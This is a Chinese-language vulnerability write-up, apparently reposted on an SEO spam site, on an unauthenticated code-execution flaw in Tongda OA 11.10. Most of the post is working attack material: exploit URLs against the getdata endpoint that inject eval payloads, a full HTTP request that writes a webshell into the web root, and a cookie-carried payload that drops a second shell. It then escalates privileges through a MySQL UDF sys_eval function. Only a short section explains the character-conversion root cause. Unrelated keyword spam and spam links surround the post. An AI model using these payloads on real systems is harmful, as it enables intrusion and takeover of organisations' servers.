当前位置: 首页 > news >正文

昆山seo网站优化软件品牌营销策划机构

昆山seo网站优化软件,品牌营销策划机构,做钓鱼网站教程,备案域名出售漏洞简介 之前也对通达 oa 做过比较具体的分析和漏洞挖掘,前几天看到通达 oa 11.10 存在未授权任意文件上传漏洞,于是也打算对此进行复现和分析。 环境搭建 https://www.tongda2000.com/download/p2019.php 下载地址 :https://cdndown.tongda…

漏洞简介

之前也对通达 oa 做过比较具体的分析和漏洞挖掘,前几天看到通达 oa 11.10 存在未授权任意文件上传漏洞,于是也打算对此进行复现和分析。

环境搭建

https://www.tongda2000.com/download/p2019.php

下载地址 :https://cdndown.tongda2000.com/oa/2019/TDOA11.10.exe

995a70dbca3274e813fb25dfd40e5852.png

查看版本信息

4456f6e23ae634f3dda002018e7f755c.png

漏洞复现

利用方式一

http://192.168.222.128/general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval($_POST[c]))%3B/*&id=19&module=Carouselimage
98f918a36fe1d9bf0273a25a0f9a2a87.png

利用方式二

无法直接写入带有变量的 php 文件

所以首先利用 无参 webshell

<?php @eval(next(getallheaders()));
a530dc1c7c2942c622a15ec3a2b4dc30.png
GET /general/appbuilder/web/portal/gateway/getdata?activeTab=%e5%27,1%3d%3Efwrite(fopen(%22C:/MYOA/webroot/general/1.php%22,%22w+%22),%22%3C?php%20eval(next(getallheaders()));%22))%3b/*&id=266&module=Carouselimage HTTP/1.1
Host: 192.168.222.128
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
9e03e56364be72fabcc59bd5f2de4648.png

上传成功后再利用第一次生成的恶意文件再生成文件

GET /general/test.php HTTP/1.1
Host: 192.168.121.147:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: file_put_contents('test1.php','<?php @eval($_REQUEST[1]);');
Content-Length: 28Upgrade-Insecure-Requests: 1
923cffd7cd73a345572ccc582d4290dd.png 8d939416a6823ec1e2cfb1be5ec6cb5c.png

但是无法直接直接命令,这是因为权限过低的原因 所以想要进一步的操作,就需要提权

8b1cce2ab7a45a97f4e74ae93ce2a4ba.png

通过查看配置文件看到 mysql 数据库的密码

71de485a2b4da153e230737bb9f7b348.png

利用蚁剑连接数据库

d4322f81a42a6b307327f57072a7c88d.png

查看 mysql 的版本

Mysql版本提权dll存放位置
>5.1mysql根路径(select @@basedir)下/lib/plugin/
<5.1系统目录c:\windows\system32下

SqlMap 中集成了对应的提权文件,不过需要先进行解密操作

udf.dll的是经过编码运算的,所以需要有一个解密脚本,在这个路径下

sqlmap-master\extra\cloak

对应的 dll 文件路径

sqlmap-master\data\udf\mysql\windows\64

执行解码操作

cloak.py -d -i sqlmap-master\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_

然后将解码好的文件上传到 mysql/lib/plugin/ 路径下

5863c3a2679d39e5c4c740e5bfe914c2.png
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
select sys_eval("whoami");
89f75529ed82f5a00c7c3345dc7a9027.png

漏洞分析

general\appbuilder\modules\portal\controllers\GatewayController.php#actionGetdata

c4c5c5cc484c1d4c2b76677ccb491b4e.png

首先判断是否存在参数 id 之后根据 module 的值依次执行 GetData与toUTF8方法

general\appbuilder\modules\portal\models\PortalComponent.php#GetData

4ac8d2393dda4b331dac850008051037.png

根据 id 查询,返回相对对应的数值 $activeTab 的值是从外部获取的

根据不同的 $module 调用不同的get_data 方法

general\appbuilder\modules\portal\components\AppDesignComponents.php#data_analysis

61f4faa7418ad52dab898c98a1a30555.png

general\appbuilder\modules\appdesign\models\AppUtils.php#toUTF8

354b5fe321f24100b441f1b73f45287a.png

这里有一点类似于宽字节注入,利用类型的转换,使得传入的单引号转移后又被编码转换成汉字,最终使得单引号逃逸出来。最后实现命令执行。

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

3d76afb3ddafda2c3772f20b47f2beef.gif

靶场实操,戳“阅读原文“

http://www.yidumall.com/news/35397.html

相关文章:

  • 网站设置cookie什么意思描述建设一个网站的具体步骤
  • h5网站开发公司如何制作自己的网站教程
  • 前端网站搜索导航怎么做近期国际新闻
  • 遵义市政府网站建设概况专业搜索引擎seo服务
  • wordpress 整站源码最近时事新闻热点事件
  • 小县城做服务网站企业如何做好网络营销
  • 上海做网站的公黑科技引流推广神器免费
  • 英文手机商城网站建设长春最专业的seo公司
  • 锦州市城乡建设委员会官方网站百度云网页版入口
  • 秦皇岛城乡建设局网站百度打广告多少钱一个月
  • 哪里做网站网站seo李守洪排名大师
  • 自己电脑可以做网站服务器网页制作模板
  • 政府网站建设问卷调查淘宝网店怎么运营起来
  • 广州白云网站建设网络推广包括哪些
  • 天津河东区网站建设seo排名怎么样
  • 项目网址大全seo是什么意思 seo是什么职位
  • seo查询官网站长之家seo查找
  • 校园网页制作模板seo综合查询爱站
  • 注册工商企业seo搜索铺文章
  • 西安网站建设 招聘线下推广有哪几种渠道
  • 网站维护要多久时间公司的网站制作
  • 网站建设对教育解决方案开通网站需要多少钱
  • 网站建设 三合一网络软文营销的案例
  • 成都o2o网站建设淘宝seo优化是什么
  • 成都专业网站建设公司排名海外网站建站
  • 天津seo公司网站推广怎么做
  • 标志设计欣赏网站无锡做网站的公司
  • 诚信通国际网站怎么做私域营销
  • 临沂做商城网站百度公司名称
  • 中文网站模板下载免费北京seo顾问服务公司